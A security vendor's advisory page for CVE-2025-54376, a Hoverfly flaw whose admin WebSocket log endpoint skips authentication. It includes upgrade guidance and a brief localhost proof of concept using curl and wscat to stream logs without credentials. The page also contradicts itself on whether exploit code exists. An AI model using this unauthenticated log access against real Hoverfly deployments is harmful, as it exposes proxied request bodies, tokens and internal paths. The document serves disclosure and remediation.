How severe is CVE-2025-54376?

No CVSS score has been assigned to CVE-2025-54376 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2025-54376?

CVE-2025-54376 affects the following packages: github.com/SpectoLabs/hoverfly (Go). Ecosystems affected: Go.

How do I fix CVE-2025-54376?

Update github.com/SpectoLabs/hoverfly to 1.12.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54376 is resolved across your whole dependency graph.

How do I detect CVE-2025-54376 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/SpectoLabs/hoverfly, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2025-54376 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2025-54376?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-54376 can be triaged on real exposure rather than presence alone.

Is CVE-2025-54376 actively exploited in the wild?

No public exploit code has been indexed for CVE-2025-54376 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2025-54376?

CVE-2025-54376 has an EPSS (Exploit Prediction Scoring System) score of 0.7%, placing it in the 52th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2025-54376?

CVE-2025-54376 is classified as Information Exposure (CWE-200), Improper Authentication (CWE-287), CWE-532 (CWE-532). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2025-54376 published, and has it been updated?

CVE-2025-54376 was published on September 10, 2025 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

Not in CISA KEV

CVE-2025-54376 — hoverfly

Fix: SpectoLabs/hoverfly@ffc2cc3

CVE-2025-54376 is a Information Exposure vulnerability in github.com/SpectoLabs/hoverfly. A fix is available for github.com/SpectoLabs/hoverfly — see the affected versions and patch details below.

Hoverfly's WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled.

Also known asGHSA-jxmr-2h4q-rhxpGO-2025-3945

Published

Sep 10, 2025

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54376.

EPSS Exploitation Probability

via FIRST.org ↗

0.7%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐹github.com/SpectoLabs/hoverfly

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can:

Stream real-time application logs (information disclosure).
Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.

PoC

Start Hoverfly with authentication enabled:

./hoverfly -auth

Confirm REST API requires credentials:

curl -i http://localhost:8888/api/v2/hoverfly/version

Connect to the WebSocket endpoint without credentials:

wscat -c ws://localhost:8888/api/v2/ws/logs
# Connected (press CTRL+C to quit)
# … logs stream immediately … (You would need to send a message to start receiving stream)

wscat -c ws://localhost:8888/api/v2/ws/logs
Connected (press CTRL+C to quit)
> hi!
< {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]}
< ...
< ...

Impact

Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/SpectoLabs/hoverfly`	all versions	1.12.0`go get github.com/SpectoLabs/hoverfly@v1.12.0`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/SpectoLabs/hoverfly, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/SpectoLabs/hoverfly to 1.12.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54376 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-54376 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-54376. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can: - Stream real-time application logs (information disclosure). - Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. ### PoC 1. Start Hoverfly with authentication enabled: ``` ./hoverfly -auth ``` 2. Confirm REST API requires credentials: ``` curl -i http://localhost:8888/api/v2/hoverfly/version ``` 3. Connect to the WebSo

O3 Security · Impact-Aware SCA

Is CVE-2025-54376 in your dependencies?

O3 Security finds CVE-2025-54376 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works